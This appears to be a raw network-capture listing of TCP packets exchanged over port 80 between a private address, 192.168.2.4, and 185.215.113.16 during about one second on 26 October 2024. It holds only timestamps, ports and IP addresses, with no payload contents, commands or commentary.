Oct 26, 2024 05:54:37.445456982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.483978987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484014034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484064102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484081984 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484093904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484143019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484178066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484229088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484232903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484232903 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484262943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484375000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484380007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484407902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484442949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484471083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484500885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484545946 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484580040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484611988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484643936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484756947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484800100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484850883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484884024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484925985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.484925985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484925985 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.484955072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.485032082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.524497032 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.524554968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.524583101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.524645090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.564774990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.564809084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.564840078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.564883947 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.564925909 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.606345892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.606494904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.606523037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.606635094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645181894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645210981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645242929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645273924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645278931 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645314932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645334959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645366907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645401955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645433903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645447969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645447969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645483971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645606995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645631075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645663977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645725965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645750046 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645776987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645809889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.645833969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.645987034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.646038055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.646071911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.646101952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.646131039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.646136999 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.646166086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.646284103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.647392988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.686202049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.686234951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.686266899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.686286926 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.686325073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.725831985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.725862980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.725984097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.726053953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.726083040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.726145029 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.767729044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.767759085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.767812014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.767843008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.767843962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.767909050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806164026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806406975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806437969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806468010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806500912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806512117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806512117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806550980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806587934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806612015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806616068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806648016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806699991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806731939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806765079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806771994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806771994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806812048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.806906939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806940079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806972027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.806993008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.807111979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807146072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807173967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807207108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.807349920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807401896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807409048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.807436943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807468891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.807493925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.808267117 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.847042084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.847115040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.847158909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.847215891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.887144089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.887177944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.887213945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.887244940 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.887276888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.887310028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.927293062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.928934097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.928970098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.929003000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.929063082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.967763901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967816114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.967830896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967880964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967911959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967942953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967974901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.967993021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968008041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968024015 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968055010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968060970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968095064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968169928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968199968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968255043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968261957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968324900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968327045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968359947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968401909 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968437910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968472004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968589067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968784094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968836069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968867064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:37.968894005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.968919039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:37.969006062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.008572102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.008605003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.008631945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.008640051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.008672953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.008852005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.048229933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.048261881 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.048311949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.048324108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.048340082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.048409939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.090236902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.090286016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.090318918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.090368032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129201889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129236937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129287958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129321098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129349947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129383087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129434109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129446983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129446983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129446983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129462004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129494905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129520893 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129539967 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129544973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129586935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129618883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129651070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129672050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129678965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129726887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129733086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129777908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129827976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129863024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129898071 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129898071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.129934072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.129934072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.130136967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.130187035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.130238056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.130408049 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.130435944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.130469084 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.130512953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.169590950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.169621944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.169739962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.169766903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.169823885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.172292948 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.209676027 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.209706068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.209741116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.209772110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.209789038 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.209836006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.251658916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.251688004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.251723051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.251755953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.251796007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.251796007 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290426016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290456057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290488958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290538073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290565968 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290570021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290596962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290632010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290638924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290638924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290664911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290714025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290743113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290767908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290807009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290839911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290880919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290880919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.290889025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290920973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290956974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.290992022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291011095 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.291222095 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291273117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291277885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.291306019 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291344881 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.291454077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291503906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.291534901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.332261086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.332297087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.332331896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.332446098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.334899902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.371093035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.371126890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.371175051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.371293068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.411710978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.412767887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.412798882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.412831068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.412862062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.412869930 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.413995981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.451652050 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451682091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451716900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451764107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451800108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.451800108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.451853991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451903105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451936960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.451965094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.451968908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452003956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452050924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452064037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452085018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452100039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452120066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452169895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452199936 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452294111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452413082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452471018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452476978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452511072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452543974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452575922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452583075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452583075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.452872992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452899933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.452939987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.493370056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.493406057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.493442059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.493516922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.493546009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.493613005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.532377958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.532428026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.532455921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.532463074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.532495975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.532604933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:38.574255943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.574285030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.574320078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:38.574322939 CEST	49742	80	192.168.2.4	185.215.113.16
